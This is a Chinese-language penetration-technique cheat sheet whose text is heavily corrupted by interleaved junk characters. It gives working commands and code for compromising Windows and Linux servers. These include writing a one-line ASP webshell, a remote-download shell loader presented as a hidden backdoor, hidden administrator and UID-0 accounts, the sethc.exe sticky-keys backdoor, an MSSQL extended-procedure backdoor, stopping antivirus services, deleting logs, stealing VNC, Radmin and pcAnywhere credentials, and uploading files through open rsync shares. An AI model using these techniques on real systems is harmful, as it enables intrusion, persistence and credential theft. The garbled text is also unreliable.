渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
, |6 Y6 Z' s- f% J( A  U9 q$ ^        
  Q9 E7 m# p# Z/ G- Q& u7 F( k$ y" r: g
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
6 |; c7 q8 c, ?* a. p
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject

3 m1 O) C6 V* C("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
5 z" g! |8 ~8 e. T8 _  w        If IsNumeric(obj3w.Name)

9 v% E3 C* Z1 v4 {& M+ MThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
; |# m8 q/ B( M- C8 j6 L$ |
* \; h% u- t% Z( F9 L4 J+ y! @<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
/ k8 V+ J2 e) Y3 b' ^                For Each Binds In OService.ServerBindings
     

. P/ k7 c" M0 m" G                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
, R$ K1 Z" B" A/ P8 A2 U+ n0 a
* K0 R/ }6 d" m4 k5 ^+ nWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
4 ~6 e  x" l5 O% E                Next
      
. S  e* o7 T! S' i3 e/ r! `, b( Z
         WScript.Echo "ath            : " & VDirObj.Path
        End If
5 Y6 I+ L! ?/ CNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
7 H7 W3 H9 l. g  G1 ]- n—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
0 |. f/ h, E0 c: eurl/wp-content/plugins/akismet/hello.php
——————————————————————
( u0 J& o0 j' l% e/ UphpMyAdmin暴路径办法:
+ m; P- G) ?$ JphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
' F4 e$ A  B! \6 J9 [1 ~phpmyadmin/themes/darkblue_orange/layout.inc.php
1 W, p+ y2 h: H  [# x& U. k& w; }" ~; Z————————————————————
网站可能目录(注：一般是虚拟主机类）
8 r3 K- s  {; J+ M9 xdata/htdocs.网站/网站/
7 V6 |/ z( t# ?/ p————————————————————
2 L8 j0 e3 _& F, Y2 c$ \* bCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
5 L/ b. i* t: }$ g3 I3 U! d8 {; I" knetsh ras set user administrator deny #禁止administrator拨入该VPN
% w$ p, ]& `1 o: c) b' Y# O+ Z7 Knetsh ras show user #查看哪些用户可以拨入VPN
5 Q2 @- Y& l1 Q6 {: D7 Fnetsh ras ip show config #查看VPN分配IP的方式
1 r! d% T+ Z5 anetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
, r$ Z1 p6 h3 R; t* z" `netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
3 W/ A5 Z$ a4 a8 B$ q4 _7 U————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
3 p- O) G+ f7 @$ I+ _exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

! y- a5 m2 N7 L7 V& ?+ c另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
% u9 ?- d, D' O8 c
vbs:
( |) Z/ O' V1 OSet   o=CreateObject( "Shell.Users" )
9 X7 A5 t* J: l+ gSet z=o.create("test")
: d( B' G: s8 Q* y' Ez.changePassword "123456",""
3 L- i  \9 i0 t- P5 d$ A* zz.setting("AccountType")=3
2 m' J0 a5 D, |% u0 ?——————————————————
+ p% |2 e( I6 L* ~% \$ kcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
$ ^, N' k; o8 I8 F; p: n
命令如下
+ @7 s. O& H/ tcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
$ w) h1 Y& a" }; `; {9 y1 h3389相关
; L3 y- T" L' Q+ Y4 Ba、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
7 r9 I% s9 x. K9 h. L- h" B5 F, _b、内网环境（LCX）
+ e. ?/ w6 r- M- l! w5 m* Nc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
7 p9 I5 K: L; ]; |9 X6 r" Z% `8 }
  N) W8 Y  D0 C5 L7 a; h杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
0 O' X8 q4 K2 T& Tnet stop "Symantec AntiVirus" /y
7 L4 k& W: ]8 Z6 I3 ?: j2 ~net stop "Symantec AntiVirus Definition Watcher" /y
! ?$ g# G+ @* Q$ k  {- Gnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
+ t# X- G8 ~  |
# F2 _% r( }: {! i0 ^6 e- q; W卖咖啡：net stop "McAfee McShield"
+ S: T" l8 i0 e! o/ m1 R————————————————————

* m6 R& ^' ~: ^7 k8 u  W. ?5次SHIFT：
+ q- M( H- w7 ]; }) }copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
: s) ~2 c: |+ O4 {+ I7 O+ i3 `隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
* X2 h# o  X' q8 ~) |2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
$ b; e' w: B8 C. b: k4、利用Hacker Defender把相关用户注册表隐藏
) _3 ?& H2 R3 z4 X# W! e& v+ Z; R——————————————————————
! l" J9 a7 n9 x2 r  q3 XMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
; B1 P6 ]( K3 Q9 d6 }& Z- OGRANT exec On xp_helpsystem TO public;
+ ^- C1 p0 P3 ^7 T" H3 x% N———————————————————————
/ y: z$ C" y1 ~5 `3 E日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
) {2 x, i0 o, i; q直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
+ J5 H  l5 D+ Z用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
9 Y: a% h. P+ N/ c: D当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
2 @3 I1 H8 O! VMSSQL 2000位于注册表如下：
5 S) E* h( {& \; N9 XHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
6 s" e+ ?: E3 Z* Y% pMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

+ @$ Z% B2 p. c. I$ MServer\90\Tools\Shell\mru.dat
, w; E) U* Y/ }2 d; S& m2 L# B' |1 m—————————————————————————
) N, z2 A: y( C; u防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
" S7 e+ b: l6 q' N. P& V' V
1 J8 B0 A) h% t% |<%
" Z( I) B. c) p& G# h; |$ USub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
( @# D8 z. q3 I, ^( fDim Ads, Retrieval, GetRemoteData
On Error Resume Next
1 F& V- b8 b3 F& S  T6 |Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
/ ^$ Z, v5 ?4 l0 [; t, dWith Retrieval
* v  s: B$ C" {9 X% _.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
* F7 C, Z# ^1 X3 X! [Set Retrieval = Nothing
0 |( Q2 a1 e, y, f, t  m% ]Set Ads = Server.CreateObject("Adodb.Stream")
$ R/ E. Q: G  oWith Ads
7 u  [; W0 Z& [/ c# }2 p7 T  D: q.Type = 1
8 x4 d* P$ Z9 I, |: ^8 Y) x.Open
; b& L! Z/ z2 H# i! b0 z! F.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
8 ^" y9 E, I7 m. e.Cancel()
.Close()
End With
Set Ads=nothing
9 L- ^. p( J: l) `- K9 Z" kEnd Sub
1 B" m8 H+ R8 Y9 {; Z. ]! n) t4 r
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
& g/ Z3 e9 Y- z7 X! T2 q%>
8 d5 ?- a+ i, ~) b& W% `0 N
0 z* X. k0 P$ d$ L! u* |VNC提权方法:
) \5 P5 h) E9 V' B1 I6 w利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
; x4 e* B7 b: @) u, Sregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
$ I  _9 r9 C3 A: h4 J" kHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
1 u& q& k' a# [! n, k9 h9 g% O$ d如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
2 w' @  c7 }$ O( _Users\Application Data\Symantec\pcAnywhere\文件夹下。
0 z. e4 j! r* s——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
' P9 a1 d3 E' H% }; U* I9 [——————————————————----------
4 v' d1 e; X* E2 }WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
: r+ L0 n$ \! D6 V. [; S/ e: Z来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
' ]$ O# o( K3 w
1433 SA点构建注入点。
<%
3 D) G6 o4 d/ M* y5 J  t3 Z2 m! L" `strSQLServerName = "服务器ip"
3 n( [/ l, j$ a9 g& G3 H* zstrSQLDBUserName = "数据库帐号"
4 K+ b  B2 d3 g2 h) n* BstrSQLDBPassword = "数据库密码"
8 f5 n% [! Q- x8 c; @; @2 |strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
( y( a0 H( |# N4 s/ HstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

. O% A) m! v& Q5 N$ Q, y5 IstrSQLDBName & ";"
; F- b- f, X) C2 x: nconn.open strCon
% {2 E4 i3 o) |' S4 M* qdim rs,strSQL,id
) H6 [7 u* ^6 \set rs=server.createobject("ADODB.recordset")
7 D2 |( n, ~) m: \id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
& |& S. \  |& q7 z! Crs.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
2 ~$ ]# U3 T) W) r
2.less /etc/ldap.conf
: Y) j% |0 p# Zbase ou=People,dc=unix-center,dc=net
6 u+ T% Y' ?7 f, N# _找到ou,dc,dc设置
/ n: X$ I: u  N
' `! C4 j6 o( t2 n- z. d+ X3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
9 {3 d9 @. E! X' q4 q2 H3 {7 a4 v有密码形式
1 R  u. B& Z% h' [ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

8 W7 n% |/ S; P' L5 V1 u" O"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

$ Q- r9 B8 {8 R5 C8 D
4.查找10条用户记录
; Z4 q  i" d% a" x1 F, j, X8 L2 ildapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
. ]; I5 ~  \3 X
实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

' V2 V; r+ b, i3 K& T. W! z. r. f) ~7 K2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
& t: u- W$ M' W% X7 n( K6 Y6 g匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

4 G1 Z# t! {$ A0 u, I* F"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( e# x* W3 s7 Y: ^有密码形式
: F" l: h: ~9 Nldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

  r+ \+ f# M! J# o' v8 c- N"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* t  P. G4 C: v# O8 G# V

4.查找10条用户记录
  p0 J7 d$ l$ a. z* J' d* mldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
, }# u$ v3 v$ o; {
渗透实战:
; ^) N8 L3 ^4 S; v: w7 O9 t; [4 o' t1.返回所有的属性
" G8 y0 j" q( x- o6 v4 a5 Mldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
2 Z, P; E' l3 Hversion: 1
# y/ ~+ s% M. H1 F8 s: f7 @1 N+ adn: dc=ruc,dc=edu,dc=cn
dc: ruc
# R" U5 m+ a3 v+ N  N) V& o' Q" uobjectClass: domain
) o' C5 V  L% f$ h
) b& l9 o& \" @% M6 Bdn: uid=manager,dc=ruc,dc=edu,dc=cn
; w) j7 G# {) _6 Puid: manager
& w* }' e7 p/ L& Q: F. DobjectClass: inetOrgPerson
objectClass: organizationalPerson
# x: l# ~' B/ Q. XobjectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
- _$ k4 k9 d+ SobjectClass: person
objectClass: top
# h# n0 |8 }: m0 ~* w4 vsn: superadmin
cn: superadmin
$ x! w; M1 }; h' \6 l" C/ O4 e
dn: uid=admin,dc=ruc,dc=edu,dc=cn
" J4 M  J. a% Q# m: Quid: admin
4 V. G( ], ?+ RobjectClass: inetOrgPerson
+ h. r) F) v+ r6 {3 u; X& R0 P1 LobjectClass: organizationalPerson
+ `$ Q& O% ^+ G: Y( Y2 \0 ]objectClass: person
4 U4 S3 v- u. h+ s. ^0 cobjectClass: top
sn: admin
" t1 B; n  U& ~9 B: o0 r/ _cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
3 Z5 x' X- _  W" \objectClass: inetOrgPerson
) H2 V# @  D5 g7 h, [  y/ wsn: dcp_anonymous
cn: dcp_anonymous
& W& v" m+ n2 @" e9 ^" N: H
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

7 i* x; s) D# Dmore
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

1 }6 `9 @) V4 F1 j3.查找
  l8 f0 H7 Z8 T6 D# z8 i( Ybash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
4 }- r% ~. }0 O/ E% dsupportedExtension: 2.16.840.1.113730.3.5.8
& l1 \  h5 j9 y9 Z' fsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
/ r! U% Z. {, o3 hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
: P: K" q1 z% B1 v' i& R' NsupportedExtension: 2.16.840.1.113730.3.5.6
* Q1 j$ y+ N. a7 o0 wsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
, V" ~5 r& F# O0 \) C6 B3 HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
: e* d6 |& E. R+ \+ |" g0 ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
/ a, Z4 h. L, t4 e3 T. c( xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
2 z7 J  J0 P1 N# LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
3 V0 C) k* E5 u" E6 B# v: JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
6 y" o) q  E/ Y+ ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
; E; x* M( Q2 A9 o9 \; `$ v8 ?* ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
  V' X$ Y  j; C6 \6 usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
8 D0 @/ w% s- Q" x, q, h5 D5 p. F1 wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
# q  O# n  v2 v8 p9 [# qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
8 U2 x/ e6 S9 BsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
5 W, I5 x7 E9 C5 A$ N# d5 `9 t$ zsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
2 a5 U. Y: _- S+ E/ ZsupportedControl: 2.16.840.1.113730.3.4.16
; `0 ]3 d; m; W" a/ asupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
6 g" ^, f0 a; E. J7 MsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
; X6 ^3 |8 ~& [: ?: ^& YsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
! R$ f" W# u  a5 x: jsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
$ Z7 n$ K: K& K/ x3 qsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
7 m1 O2 i. w7 q' r& lsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
3 I% M; K+ P3 M3 t0 p& h" tsupportedSASLMechanisms: DIGEST-MD5
5 p) @: ~7 Y. Z! E7 zsupportedLDAPVersion: 2
( v, }/ Z' U, s5 lsupportedLDAPVersion: 3
4 `# ^5 Z! i+ e6 E$ `! i& U/ dvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
# [, H$ h$ I: u- \netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
. X  F, ]% p9 }& A2 vsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
, B/ k0 v8 F; g$ T. e1 }supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
5 u  W+ E  Y4 d1 lsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
% u' R1 [3 R4 c( f1 TsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
5 Q. ^5 M4 A" D1 m% U) N) AsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
  e  }7 {& a3 j0 MsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
/ R4 S- T+ Z5 ?, J/ j2 ysupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
6 m; O2 ]- n& OsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
1 r. P' D8 w5 w( Z1 d6 OsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
0 o, f+ `. U* x: I- wsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
4 F7 k3 U) E2 i0 U2 l. |+ H: hsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
- W/ Q$ N* S5 r! T) S3 ksupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
  k# V$ j9 `) z) hsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
( Z" I8 s/ D  g" ?; EsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
+ p' D7 E& y  h; V' A( xsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
$ o0 x4 T( J0 _2 P# ?supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
5 i2 _$ x; u3 f0 q9 O: JsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
. X1 c* S8 y1 {# p7 }supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
" G" P$ O7 V* e2 {  W; q" XsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
: t7 I- z8 F+ R# C/ K5 CsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
6 V5 N$ h  V* v( _8 OsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
3 Y2 A( A2 T% \1 b8 z2 \supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
" [1 E2 }) e  Z! s, [4 y8 dsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
) e# v* w1 {. osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
7 ]% t6 Y7 A# A7 I: gsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
6 J" P8 ]) Q- ^6 @2 ]2 v# {supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
& z4 U. N$ N; P0 W7 _* rsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
, t' t/ R# F0 \2. NFS渗透技巧
showmount -e ip
/ E: c/ q0 m( G; N: c# v列举IP
——————
* ?* G( O5 H8 C/ H; H4 j' |! E3.rsync渗透技巧
1.查看rsync服务器上的列表
4 q& N2 I  c' x1 B* e, |rsync 210.51.X.X::
8 {' j8 @) R, f# Z1 X( M& L/ Wfinance
7 U. E& E% F; A% q, C3 Vimg_finance
. x; V+ q. e% C8 T; C. Eauto
$ b4 w" {# w- @4 D; ?img_auto
! l, }9 v2 m% d/ B- t$ Phtml_cms
img_cms
/ L# x" \% D6 O+ k) _2 Ment_cms
ent_img
: R1 y. [8 t8 Y. S! gceshi
! y) p8 v& e+ Q) \" J8 E, C' ~res_img
res_img_c2
4 q6 Q( g- ]0 T* `- Wchip
$ z+ x5 ?) w. @5 uchip_c2
, i3 R% B7 O' ?6 Z6 yent_icms
# M  e8 L) f6 B5 e* P! ]3 `games
3 t+ r; d6 T, D$ Jgamesimg
. C" g. i% b+ @4 s9 N' m/ kmedia
mediaimg
fashion
" M% {6 p' C7 O. [# d7 Fres-fashion
, ~; O7 `" R0 U, \res-fo
taobao-home
res-taobao-home
house
/ I& }  J) E: m- {3 Y8 u4 Rres-house
# B( }; P: s: ~+ ores-home
' ]7 @$ S) i1 S# o; l; q, {res-edu
res-ent
res-labs
res-news
res-phtv
res-media
home
edu
news
2 ~2 m8 A+ L* a5 X; c" }) w5 Lres-book
4 G2 ?/ k8 e- ^8 ?
4 t; W9 \- \% q& y$ b. ]' [# ^看相应的下级目录(注意一定要在目录后面添加上/)
) ]1 `& n7 K* R2 t
9 y8 a* r" N( g/ g
rsync 210.51.X.X::htdocs_app/
5 ?; u* O  c; k+ [6 B+ |" ^0 \rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
. Y+ ~8 P) p2 q3 g2 r+ a6 x5 nrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

! p" F: U0 Z4 C$ g/ a% @6 \, X3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
9 M8 C0 t& T" W; n% ]) ~http://app.finance.xxx.com/warn/nothack.txt

. p: N6 F* k. G! O; m& ?四.squid渗透技巧
( A8 V9 C4 A) ^8 F% M# t$ cnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
' y: N6 V, d  a& u8 `ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
! x6 [& Z/ K8 ^  G7 v0 A
! v; S4 h) r; c/ U1 d8 Y' Q4 |5 r' l六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
6 Q# j. i$ V, R, _
* n4 J+ E& K, A) P3 o9 X. H1 n15&catid=32:languages&Itemid=47

; C# M% n- T" ^" h7 Y9 Z重新设置密码
) ^: u# d5 @/ J& E4 \( Z4 \index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
9 r5 n$ B# h! z[argp@julius ~]$ uname -rsi
3 [4 c2 N+ q! H4 d* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
, _1 x3 I* x3 Q- w* [argp@julius ~]$ id
+ ~' A$ n) Z5 o* uid=1001(argp) gid=1001(argp) groups=1001(argp)
